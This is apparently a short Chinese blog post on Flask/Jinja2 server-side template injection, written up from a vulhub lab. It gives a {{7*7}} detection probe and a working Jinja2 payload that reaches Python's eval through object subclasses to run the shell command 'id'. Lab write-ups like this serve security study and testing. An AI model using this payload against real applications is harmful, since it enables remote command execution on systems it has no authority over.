Flask（Jinja2）服务端模板注入漏洞(SSTI)

XXX_WXY

已于 2023-11-06 18:29:29 修改

阅读量462

点赞数 1

分类专栏：信息安全文章标签： flask python 网络安全信息安全 web安全

于 2023-11-06 18:28:36 首次发布

本文链接：https://blog.csdn.net/m0_52920608/article/details/134252206

版权

信息安全专栏收录该内容

35 篇文章 2 订阅

订阅专栏

Flask（Jinja2）服务端模板注入漏洞(SSTI)

参考 https://www.freebuf.com/articles/web/260504.html
验证漏洞存在 ?name={{7*7}}
回显49说明漏洞存在
在这里插入图片描述

vulhub给出的payload:

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("id").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}